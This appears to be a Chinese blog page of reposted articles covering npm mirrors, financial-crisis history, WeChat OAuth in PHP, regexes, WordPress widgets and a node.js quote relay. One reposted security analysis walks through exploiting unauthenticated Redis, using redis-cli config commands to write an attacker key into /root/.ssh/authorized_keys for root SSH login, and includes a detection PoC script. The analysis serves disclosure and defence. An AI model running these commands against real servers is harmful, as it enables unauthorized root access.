使用npm安装一些包失败了的看过来(npm国内镜像介绍)

这个也是网上搜的,亲自试过,非常好用!
镜像使用方法(三种办法任意一种都能解决问题,建议使用第三种,将配置写死,下次用的时候配置还在):

1.通过config命令

1
2
npm config set registry https://registry.npm.taobao.org 
npm info underscore #如果上面配置正确这个命令会有字符串response

2.命令行指定

1
npm --registry https://registry.npm.taobao.org info underscore

3.编辑 ~/.npmrc 加入下面内容

1
registry = https://registry.npm.taobao.org

搜索镜像: https://npm.taobao.org
建立或使用镜像,参考: https://github.com/cnpm/cnpmjs.org

转载自 https://cnodejs.org/topic/4f9904f9407edba21468f31e

历史上的金融危机都是怎么发生的

  在刚刚过去的一周,全球股市经历了2008年金融危机以来最黑暗的一周。
  新兴市场股市今年已下跌15%,多个国家货币兑美元创多年来新低,货币贬值幅度在3%以上的新兴市场经济体高达17个。过去两个半月,A股指数下跌了32%,恒指下跌了21%。上周,上证综指和深证综指均跌近12%。继亚洲股市遭遇重挫后,上周五欧美股市也遭抛售。
  一个全新的词汇在资本市场传播:capitulation,翻译成中文叫“投降式抛售”。这种“不做任何抵抗,连就地卧倒装死的敷衍动作都懒得做的直接缴械投降”,有点像2008年的美国金融危机,但更多的观点认为像1997年-1998年的亚洲金融危机。
  全球金融危机的言论再起,那么世界范围内,都发生过哪些大的金融危机呢?下面小编为您一一盘点。
自17世纪以来,全球范围内发生了九次波及范围巨大影响深远的金融危机,这些危机发生时都给社会经济运行造成了巨大混乱,并对后世产生了深远影响。
  自17世纪以来,全球范围内发生了九次波及范围巨大影响深远的金融危机,这些危机发生时都给社会经济运行造成了巨大混乱,并对后世产生了深远影响。
178587953
一、1637年荷兰郁金香危机
  1593年,一位荷兰商人格纳从土耳其进口首株郁金香,由于这种花是进口货,因此拥有郁金香花便成为有钱人的符号。
  开始只有郁金香的行家才懂得欣赏郁金香之美,但在形成风潮后,投机客便趁机炒作,只要今天买了,明天就可赚一笔。买的人多了,交易市场也就形成了,交易场所也逐渐热闹起来。
  1634年,买郁金香的热潮蔓延到中产阶级,更蔓延为全民运动,大家都来买卖郁金香了,炒家只看到买低卖高,利润就进来,于是全民都变成郁金香的炒家。
  1000美元一朵郁金香花根,不到一个月之后,它就变成两万美元了。
  到了1636年,郁金香在阿姆斯特丹及鹿特丹股市上市。这时,一朵郁金香花根售价相当于今天的76000美元,比一部汽车还贵。
  这是有名的郁金香花根泡沫。
  此时,荷兰政府开始采取刹车的行动,而由土耳其运来的郁金香也大量抵达,郁金香不再那么稀罕,于是一瞬间郁金香的价格往下滑,6个星期内竟然下跌了90%,荷兰政府宣布这一事件为赌博事件,结束这一场疯狂的郁金香泡沫事件。这就是有记录的历史上第一次经济泡沫事件。
178587954
二、1720年英国南海泡沫事件
  南海泡沫事件(South Sea Bubble)是英国在1720年春天到秋天之间发生的一次经济泡沫,事件起因源于南海公司(South Sea Company),南海公司在1711年西班牙王位继承战争仍然进行时创立,它表面上是一间专营英国与南美洲等地贸易的特许公司,但实际上是一所协助政府融资的私人机构,分担政府因战争而欠下的债务。
  南海公司在夸大业务前景及进行舞弊的情况下被外界看好,到1720年,南海公司更透过贿赂政府,向国会推出以南海股票换取国债的计划,促使南海公司股票大受追捧,股价由原本1720年年初约120英镑急升至同年7月的1,000镑以上,全民疯狂炒股。
  然而,市场上随即出现不少“泡沫公司”混水摸鱼,试图趁南海股价上升的同时分一杯羹。为规管这些不法公司的出现,国会在6月通过《泡沫法案》,炒股热潮随之减退,并连带触发南海公司股价急挫,至9月暴跌回190镑以下的水平,不少人血本无归,连著名物理学家牛顿爵士也蚀本离场。
  南海泡沫事件使大众对政府诚信破产,多名托利党官员因事件下台或问罪;相反,辉格党政治家罗伯特-沃波尔在事件中成功收拾混乱,协助向股民作出赔偿,使经济恢复正常,从而在1721年取得政府实权,并被后世形容为英国历史上的首位首相,此后,辉格党取代托利党,长年主导了英国的政局。
178587955
三、1837年美国金融恐慌
  19世纪早期的美国联邦政府没有自己的中央银行,因此也没有发行纸币。
  第二合众国银行由国会在1816年授权建立,它创立了统一的国家货币,一度成为美国最大最好的钞票的发行者,创立了单一的汇率等。它实力强大,它的资本比美国政府的财政支出多出一倍,拥有全国20%的货币流通量,在各州设立了29个分行,控制着各州的金融。
  考虑到许多州银行立法很仓促,经营不善,普遍资本金不足,监管不严,对未来过度乐观,第二合众国银行通过拒绝接受它认为经营不善的银行的票据来维护它自身的稳定。这削弱了公众对第二合众国银行的信心。
  1829年,杰克逊当选为美国总统,他认为第二合众国银行的信贷问题影响了美国经济的发展。杰克逊决定关闭第二合众国银行。作为毁掉合众国银行的策略的一部分,杰克逊从该银行撤出了政府存款,转而存放在州立银行,没想到,危机竟然就此产生。
  因为增加了存款基础,不重视授信政策的州立银行可以发行更多的银行券,并以房地产作担保发放了更多的贷款,而房地产是所有投资中最缺乏流动性的一种。这样一来,最痛恨投机和纸币的杰克逊总统所实施的政策,意想不到地引发了美国首次由于纸币而引起的巨大投机泡沫。
  这场恐慌带来的经济萧条一直持续到1843年。恐慌的原因是多方面的:贵金属由联邦政府向州银行的转移,分散了储备,妨碍了集中管理;英国银行方面的压力;储备分散所导致的稳定美国经济机制的缺失等等。
178587956
四、1907年美国银行业危机
  1907年,美国银行业投机盛行,纽约一半左右的银行贷款都被高利息回报的信托投资公司作为抵押投在高风险的股市和债券上,整个金融市场陷入极度投机状态。
  当年10月,美国第三大信托公司尼克伯克信托公司(Knickerbocker Trust)大肆举债,在股市上收购联合铜业公司(United Copper)股票,但此举失利,引发了华尔街的大恐慌和关于尼克伯克即将破产的传言。导致该银行客户疯狂挤兑,并引发华尔街金融危机。银行要求收回贷款,股价一落千丈。
  时任摩根财团总裁的约翰-皮尔庞特-摩根联合其他银行共同出手,筹集流动资金,才使市场重归平静。很快,美国财政部长乔治·科特留宣布,政府动用3500万美元资金参加救市。随后,市场恢复正常。此次救市导致了1914年美国联邦储备系统的诞生,金融体系的稳定性得以增强。
178587957
五、1929年美国股市大崩盘
  1929年10月,美国纽约市场出现了抛售股票浪潮,股票价格大幅度下跌。
  到10月24日,举国上下谣言四起造成金融不稳,被吓坏了的投资者命令经纪人抛售股票,导致美国股市崩溃。
  10月29日,纽约证券交易所里所有的人都陷入了抛售股票的漩涡之中。股指从之前的363最高点骤然下跌了平均40%。这是美国证券史上最黑暗的一天,是美国历史上影响最大、危害最深的经济事件,影响波及整个世界。
  此后,美国和全球进入了长达10年的经济大萧条时期。引发美国股市大崩盘的1929年9-10月,被后来者形容为“屠杀百万富翁的日子”,并且“把未来都吃掉了”。
  在危机发生后的4年内,美国国内生产总值下降了30%,投资减少了80%,1500万人失业。
178587958
六、1987年席卷全球股市的黑色星期一
  1987年10月19日星期一美国股市出现惊人下跌并引发世界其他国家股票市场跟风下跌。
  道琼斯工业股票平均指数骤跌508点,下跌幅度22%,一天内跌去的股票价值总额令人目瞪口呆——是1929年华尔街大崩溃时跌去价值总额的两倍。混乱中,价值超过6亿美元的股票被抛售。
  纽约股市的震荡也在东京和伦敦造成了混乱。伦敦的FT指数滑落25O点,威胁到政府对英国石油股份公司的私有化的进程。日经指数下跌202.32点,收于9097.56点,跌幅为2.18%。
  很多人在股灾后感到奇怪,因当日根本没有任何不利股市的消息或新闻,因此下跌看似并无实在的原因,令当时很多人怀疑是羊群心理、市场失败(efficient market hypothesis)或经济失衡引致股灾,至今仍在争论。
178587959
七、1995年墨西哥金融危机
  1994年12月19日深夜,墨西哥政府突然对外宣布,本国货币比索贬值15%。这一决定在市场上引起极大恐慌。外国投资者疯狂抛售比索,抢购美元,比索汇率急剧下跌。
  12月20日汇率从最初的3.47比索兑换l美元跌至3.925比索兑换l美元,狂跌13%。
  21日再跌15.3%。伴随比索贬值,外国投资者大量撤走资金,墨西哥外汇储备在20日至21日两天锐减近40亿美元。墨西哥整个金融市场一片混乱。
  从20日至22日,短短的三天时间,墨西哥比索兑换美元的汇价就暴跌了42.17%,这在现代金融史上是极其罕见的。
  墨西哥吸收的外资,有70%左右是投机性的短期证券投资。资本外流对于墨西哥股市如同釜底抽薪,墨西哥股市应声下跌。
  12月30日,墨西哥IPC指数跌6.26%。
  1995年1月10日更是狂跌11%。
  到3月3日,墨西哥股市IPC指数已跌至1500点,比1994年金融危机前最高点2881.17点已累计跌去了47.94%,股市下跌幅度超过了比索贬值的幅度。
  这场金融危机震撼全球,危害极大,影响深远。
178587960
八、1997年亚洲金融危机
  1997年7月2日,泰国宣布放弃固定汇率制,实行浮动汇率制,引发一场遍及东南亚的金融风暴。当天,泰铢兑换美元的汇率下降了17%,外汇及其他金融市场一片混乱。
  在泰铢波动的影响下,菲律宾比索、印度尼西亚盾、马来西亚林吉特相继成为国际炒家的攻击对象。
  8月,马来西亚放弃保卫林吉特的努力。一向坚挺的新加坡元也受到冲击。印尼虽是受“传染”最晚的国家,但受到的冲击最为严重。
  10月下旬,国际炒家移师国际金融中心香港,矛头直指香港联系汇率制。台湾当局突然弃守新台币汇率,一天贬值3.46%,加大了对港币和香港股市的压力。
  10月23日,香港恒生指数大跌1211.47点;28日,下跌1 621.80点,跌破9000点大关。面对国际金融炒家的猛烈进攻,香港特区政府重申不会改变现行汇率制度,恒生指数上扬,再上万点大关。
  接着,11月中旬,东亚的韩国也爆发金融风暴,17日,韩元对美元的汇率跌至创纪录的1008∶1.21日,韩国政府不得不向国际货币基金组织求援,暂时控制了危机。但到了12月13日,韩元对美元的汇率又降至1737.60∶1.
  韩元危机也冲击了在韩国有大量投资的日本金融业。1997年下半年日本的一系列银行和证券公司相继破产。东南亚金融风暴演变为亚洲金融危机。
  东南亚金融危机使得与之关系密切的日本经济陷入困境。日元汇率从1997年6月底的115日元兑1美元跌至1998年4月初的133日元兑1美元;5、6月间,日元汇率一路下跌,一度接近150日元兑1美元的关口。随着日元的大幅贬值,国际金融形势更加不明朗,亚洲金融危机继续深化。这场危机一直持续到1999年才结束。
178587961
九、2007年至2011年:美国次贷危机及全球金融危机
  美国次贷危机(subprime crisis)又称次级房贷危机,也译为次债危机。它是指一场发生在美国,因次级抵押贷款机构破产、投资基金被迫关闭、股市剧烈震荡引起的金融风暴。
  美国“次贷危机”是从2006年(丙戌年)春季开始逐步显现的。在2006年之前的5年里,由于美国住房市场持续繁荣,加上前几年美国利率水平较低,美国的次级抵押贷款市场迅速发展。随着美国住房市场的降温尤其是短期利率的提高,次贷还款利率也大幅上升,购房者的还贷负担大为加重。同时,住房市场的持续降温也使购房者出售住房或者通过抵押住房再融资变得困难。
  这种局面直接导致大批次贷的借款人不能按期偿还贷款,银行收回房屋,却卖不到高价,大面积亏损,引发了次贷危机。
  2007年8月次贷危机席卷美国、欧盟和日本等世界主要金融市场。这场危机导致过度投资次贷金融衍生品的公司和机构纷纷倒闭,并在全球范围引发了严重的信贷紧缩。
  美国次贷危机最终引发了波及全球的金融危机。2008年9月,雷曼兄弟破产和美林公司被收购标志着金融危机的全面爆发。随着虚拟经济的灾难向实体经济扩散,世界各国经济增速放缓,失业率激增,一些国家开始出现严重的经济衰退。
  2011年1月10日,国际清算银行在巴塞尔召开成员央行行长双月例会及全球经济会议,分析全球经济形势。全球经济会议主席欧洲央行行长特里谢表示,世界经济已走出危机阴影,全球经济复苏已经确立。

转载自 http://money.hexun.com/2015-08-25/178587939.html

微信公众平台OAuth2.0网页授权php示例

1、配置授权回调页面域名,如 www.aaa.com

2、模拟公众号的第三方网页,fn_system.php

1
2
3
4
5
6
7
<?php
if(empty($_SESSION['user'])) {
header("Location:http://www.aaa.com/uc/fn_wx_login.php");
} else {
print_r($_SESSION['user']);
}
?>

3、访问第三方网页时,如果检查session中不存在会话信息,则跳转至登陆页,fn_wx_login.php

1
2
3
4
5
<?php
$appid = "公众号在微信的appid";
$url = 'https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$appid.'&redirect_uri=http%3a%2f%2fwww.aaa.com%2fuc%2ffn_callback.php&response_type=code&scope=snsapi_userinfo&state=STATE#wechat_redirect';
header("Location:".$url);
?>

4、在登陆页组装appid,回跳url等信息,然后跳转至微信的用户授权页。

5、在微信的用户授权页,如果用户选择了“同意授权”,则微信重新回跳至第三方网页的回跳地址时,会附带上code参数。

6、第三方网页的回跳url中,首先从请求中取得code,然后根据code进一步换取openid和access_token,然后就可以根据openid和access_token调用微信的相关接口查询用户信息了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$appid = "公众号在微信的appid";
$secret = "公众号在微信的app secret";
$code = $_GET["code"];
$get_token_url = 'https://api.weixin.qq.com/sns/oauth2/access_token?appid='.$appid.'&secret='.$secret.'&code='.$code.'&grant_type=authorization_code';

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$get_token_url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$res = curl_exec($ch);
curl_close($ch);
$json_obj = json_decode($res,true);

//根据openid和access_token查询用户信息
$access_token = $json_obj['access_token'];
$openid = $json_obj['openid'];
$get_user_info_url = 'https://api.weixin.qq.com/sns/userinfo?access_token='.$access_token.'&openid='.$openid.'&lang=zh_CN';

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$get_user_info_url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$res = curl_exec($ch);
curl_close($ch);

//解析json
$user_obj = json_decode($res,true);
$_SESSION['user'] = $user_obj;
print_r($user_obj);
?>

转载自 http://huangqiqing123.iteye.com/blog/2005770

常用正则表达式

说明:正则表达式通常用于两种任务:1.验证,2.搜索/替换。用于验证时,通常需要在前后分别加上^和$,以匹配整个待验证字符串;搜索/替换时是否加上此限定则根据搜索的要求而定,此外,也有可能要在前后加上\b而不是^和$。此表所列的常用正则表达式,除个别外均未在前后加上任何限定,请根据需要,自行处理。

说明 正则表达式
网址(URL) [a-zA-z]+://[^\s]*
IP地址(IP Address) ((2[0-4]\d|25[0-5]|[01]?\d\d?).){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
电子邮件(Email) \w+([-+.]\w+)@\w+([-.]\w+).\w+([-.]\w+)*
QQ号码 [1-9]\d{4,}
HTML标记(包含内容或自闭合) <(.)(.)>.<\/\1>|<(.) \/>
密码(由数字/大写字母/小写字母/标点符号组成,四种都必有,8位以上) (?=^.{8,}$)(?=.\d)(?=.\W+)(?=.[A-Z])(?=.[a-z])(?!.\n).$
日期(年-月-日) (\d{4}|\d{2})-((1[0-2])|(0?[1-9]))-(([12][0-9])|(3[01])|(0?[1-9]))
日期(月/日/年) ((1[0-2])|(0?[1-9]))/(([12][0-9])|(3[01])|(0?[1-9]))/(\d{4}|\d{2})
时间(小时:分钟, 24小时制) ((1|0?)[0-9]|2[0-3]):([0-5][0-9])
汉字(字符) [\u4e00-\u9fa5]
中文及全角标点符号(字符) [\u3000-\u301e\ufe10-\ufe19\ufe30-\ufe44\ufe50-\ufe6b\uff01-\uffee]
中国大陆固定电话号码 (\d{4}-|\d{3}-)?(\d{8}|\d{7})
中国大陆手机号码 1\d{10}
中国大陆邮政编码 [1-9]\d{5}
中国大陆身份证号(15位或18位) \d{15}(\d\d[0-9xX])?
非负整数(正整数或零) \d+
正整数 [0-9][1-9][0-9]
负整数 -[0-9][1-9][0-9]
整数 -?\d+
小数 (-?\d+)(.\d+)?
不包含abc的单词 \b((?!abc)\w)+\b

转载自 http://deerchao.net/tutorials/regex/common.htm

Redis 未授权访问配合 SSH key 文件利用分析

Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,今天我们来简要的分析下。

一、漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

1、漏洞描述
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

2、漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示,有97707在公网可以直接访问的Redis服务。
QQ20151111-0@2x
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:
1副本
全球无验证可直接利用Redis TOP 10国家与地区:
2副本

3、漏洞分析与利用
首先在本地生产公私钥文件:

1
$ssh-keygen –t rsa

ssh-keygen
然后将公钥写入 foo.txt 文件

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接 Redis 写入文件

1
2
3
4
5
6
7
8
9
10
11
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

redis_ssh
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

1
$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

4、Redis 未授权的其他危害与利用
a)数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。
redis_user

b)代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
redis_lua
通过Lua代码(redis-sha-crack-master)攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

c)敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
redis_info
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

5、漏洞验证
可以使用Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
[python]#!/usr/bin/env python

-- coding:utf-8 --

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
vulID = ‘89339’
version = ‘1’
author = [‘Anonymous’]
vulDate = ‘2015-10-26’
createDate = ‘2015-10-26’
updateDate = ‘2015-10-26’
references = [‘http://sebug.net/vuldb/ssvid-89339']
name = ‘Redis 未授权访问 PoC’
appPowerLink = ‘http://redis.io/'
appName = ‘Redis’
appVersion = ‘All’
vulType = ‘Unauthorized access’
desc = ‘’’
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
‘’’
samples = [‘’]

def _verify(self):
    result = {}
    payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
    s = socket.socket()
    socket.setdefaulttimeout(10)
    try:
        host = urlparse.urlparse(self.url).netloc
        port = 6379
        s.connect((host, port))
        s.send(payload)
        recvdata = s.recv(1024)
        if recvdata and 'redis_version' in recvdata:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Port'] = port
    except:
        pass
    s.close()
    return self.parse_attack(result)

def _attack(self):
    return self._verify()

def parse_attack(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('Internet nothing returned')
    return output

register(TestPOC)[/python]

二、安全建议
配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

三、参考链接

转载自 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

发布个金十数据插件

好久没像现在这样正式的发布一个东西了,作为我 WordPress 插件的处女作,正好财经类的东西也没多少人做,我很严肃的想了想正好可以填补这个空白。。。嗯废话少说上截图:
Screenshot_2015-11-04-22-50-35
本插件以小工具形式显示,您可以到外观–>小工具下配置。
服务端的为 node.js 编写,https://github.com/jshensh/auagprice
插件不单独发布源码,请访问 https://wordpress.org/plugins/jin10 或者后台搜索 jin10 安装插件:
QQ图片20151126001439

WordPress 插件开发实例 – 详细注释的 Widget 开发例子

在 wp-content\plugins 下创建 example-widget.php 代码如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
/**
* Plugin Name: Example Widget
* Plugin URI: http://example.com/widget
* Description: A widget that serves as an example for developing more advanced widgets.
* Version: 0.1
* Author: Justin Tadlock
* Author URI: http://justintadlock.com
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/

/**
* Add function to widgets_init that'll load our widget.
* @since 0.1
*/
add_action( 'widgets_init', 'example_load_widgets' );

/**
* Register our widget.
* 'Example_Widget' is the widget class used below.
*
* @since 0.1
*/
function example_load_widgets() {
register_widget( 'Example_Widget' );
}

/**
* Example Widget class.
* This class handles everything that needs to be handled with the widget:
* the settings, form, display, and update. Nice!
*
* @since 0.1
*/
class Example_Widget extends WP_Widget {

/**
* Widget setup.
*/
function Example_Widget() {
/* Widget settings. */
$widget_ops = array( 'classname' => 'example', 'description' => __('An example widget that displays a person\'s name and sex.', 'example') );

/* Widget control settings. */
$control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'example-widget' );

/* Create the widget. */
$this->WP_Widget( 'example-widget', __('Example Widget', 'example'), $widget_ops, $control_ops );
}

/**
* How to display the widget on the screen.
*/
function widget( $args, $instance ) {
extract( $args );

/* Our variables from the widget settings. */
$title = apply_filters('widget_title', $instance['title'] );
$name = $instance['name'];
$sex = $instance['sex'];
$show_sex = isset( $instance['show_sex'] ) ? $instance['show_sex'] : false;

/* Before widget (defined by themes). */
echo $before_widget;

/* Display the widget title if one was input (before and after defined by themes). */
if ( $title )
echo $before_title . $title . $after_title;

/* Display name from widget settings if one was input. */
if ( $name )
printf( '<p>' . __('Hello. My name is %1$s.', 'example') . '</p>', $name );

/* If show sex was selected, display the user's sex. */
if ( $show_sex )
printf( '<p>' . __('I am a %1$s.', 'example.') . '</p>', $sex );

/* After widget (defined by themes). */
echo $after_widget;
}

/**
* Update the widget settings.
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;

/* Strip tags for title and name to remove HTML (important for text inputs). */
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['name'] = strip_tags( $new_instance['name'] );

/* No need to strip tags for sex and show_sex. */
$instance['sex'] = $new_instance['sex'];
$instance['show_sex'] = $new_instance['show_sex'];

return $instance;
}

/**
* Displays the widget settings controls on the widget panel.
* Make use of the get_field_id() and get_field_name() function
* when creating your form elements. This handles the confusing stuff.
*/
function form( $instance ) {

/* Set up some default widget settings. */
$defaults = array( 'title' => __('Example', 'example'), 'name' => __('John Doe', 'example'), 'sex' => 'male', 'show_sex' => true );
$instance = wp_parse_args( (array) $instance, $defaults ); ?>

<!-- Widget Title: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'hybrid'); ?></label>
<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" style="width:100%;" />
</p>

<!-- Your Name: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e('Your Name:', 'example'); ?></label>
<input id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" value="<?php echo $instance['name']; ?>" style="width:100%;" />
</p>

<!-- Sex: Select Box -->
<p>
<label for="<?php echo $this->get_field_id( 'sex' ); ?>"><?php _e('Sex:', 'example'); ?></label>
<select id="<?php echo $this->get_field_id( 'sex' ); ?>" name="<?php echo $this->get_field_name( 'sex' ); ?>" class="widefat" style="width:100%;">
<option <?php if ( 'male' == $instance['format'] ) echo 'selected="selected"'; ?>>male</option>
<option <?php if ( 'female' == $instance['format'] ) echo 'selected="selected"'; ?>>female</option>
</select>
</p>

<!-- Show Sex? Checkbox -->
<p>
<input class="checkbox" type="checkbox" <?php checked( $instance['show_sex'], true ); ?> id="<?php echo $this->get_field_id( 'show_sex' ); ?>" name="<?php echo $this->get_field_name( 'show_sex' ); ?>" />
<label for="<?php echo $this->get_field_id( 'show_sex' ); ?>"><?php _e('Display sex publicly?', 'example'); ?></label>
</p>

<?php
}
}

?>

转载自:http://summerbluet.com/225

Js数组里删除指定的元素(不是指定的位置)

之前一直是做后端的,从来也没有写过js,但是却一直想学学,也只是基于兴趣而已!现在到了这个公司,确实大量的写js。但也一直都是没有系统的去看过js!都是搞什么查什么!
最近要解决一个问题,但是用到了js的数组,知道了元素要去删除这个数组中的这个指定的元素。网上找到了一些解决办法,在这里做个笔记记下来:
首先可以给js的数组对象定义一个函数,用于查找指定的元素在数组中的位置,即索引,代码为:

1
2
3
4
5
6
Array.prototype.indexOf = function(val) {              
for (var i = 0; i < this.length; i++) {
if (this[i] == val) return i;
}
return -1;
};

然后使用通过得到这个元素的索引,使用js数组自己固有的函数去删除这个元素:
代码为:

1
2
3
4
5
6
Array.prototype.remove = function(val) {  
var index = this.indexOf(val);
if (index > -1) {
this.splice(index, 1);
}
};

这样就构造了这样一个函数,比如我有有一个数组:

1
var emp = ['abs','dsf','sdf','fd'];

假如我们要删除其中的fd,就可以使用:

1
emp.remove('fd');

转载自 http://my.oschina.net/zh119893/blog/265964

黄金&白银实时报价实现方法

  先声明,数据依旧来自 jin10.com。
  之前写了篇文章《加上了“财经消息”小工具。。。但我感觉应该没人会看》,是写的“财经消息”小工具里的资讯的推送,那个比较简单,因为金十的部分服务器没有验证 origin,拿来就能用。但报价的话就不行了,必须靠一台尽量快的服务器来中转数据(报价对实时性的要求极高),于是我还是选择了 Daocloud(关于 Docker 的使用:《初识 Docker – 使用 tenxcloud.com 搭建自己的应用》)来做中转。ok 废话少说,接下来就来看下源码,其实只有一个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var app = require('express')();
var http = require('http').Server(app);
var io = require('socket.io')(http);
var Pio=require("socket.io-client");
var Psocket=Pio.connect("http://121.40.214.64:8080");
var Nsocket=Pio.connect("http://c3.jin10.com:8081");
var request = require('request');

var his = {};

Psocket.on('connect' , function() {
Psocket.emit('delAllSubscription' , []);
Psocket.emit('addSubscription' , ['XAUUSD' , 'XAGUSD' , 'UKOIL' , 'USOIL' , 'DXY' , 'EURUSD' , 'GC' , 'GBPUSD', 'USDJPY', 'AUDUSD', 'USDCHF', 'EURGBP', 'EURJPY', 'XPDUSD' , 'DOWI' ,'NASX' ,'SPX500' ,'JPN225' ,'SZZZ' ,'SZCZ' ,'XPTUSD']);
Psocket.emit('reqvote', "ok");
});
Nsocket.on('connect' , function() {
Nsocket.emit('reg', "ok");
});


app.get('/', function(req, res){
request('http://www.jin10.com/jin10.com.html', function (error, response, body) {
if (!error && response.statusCode == 200) {
res.header("Access-Control-Allow-Origin", "*");
res.send(body.replace(/\n|\s{3,}/g,""));
}
});
});

io.on('connection', function(socket) {
for (var i in his) {
io.emit('price list', his[i]);
}
});
Psocket.on('price list', function(msg) {
his[msg['name']]=msg;
io.emit('price list', msg);
console.log(msg);
});

Nsocket.on('user message', function(msg) {
io.emit('user message', msg);
console.log(msg);
});

http.listen(3000, function(){
console.log('listening on *:3000');
});

没错就是那么简单 = =

openwrt安装php,mysql,Lighttpd建站

一、安装
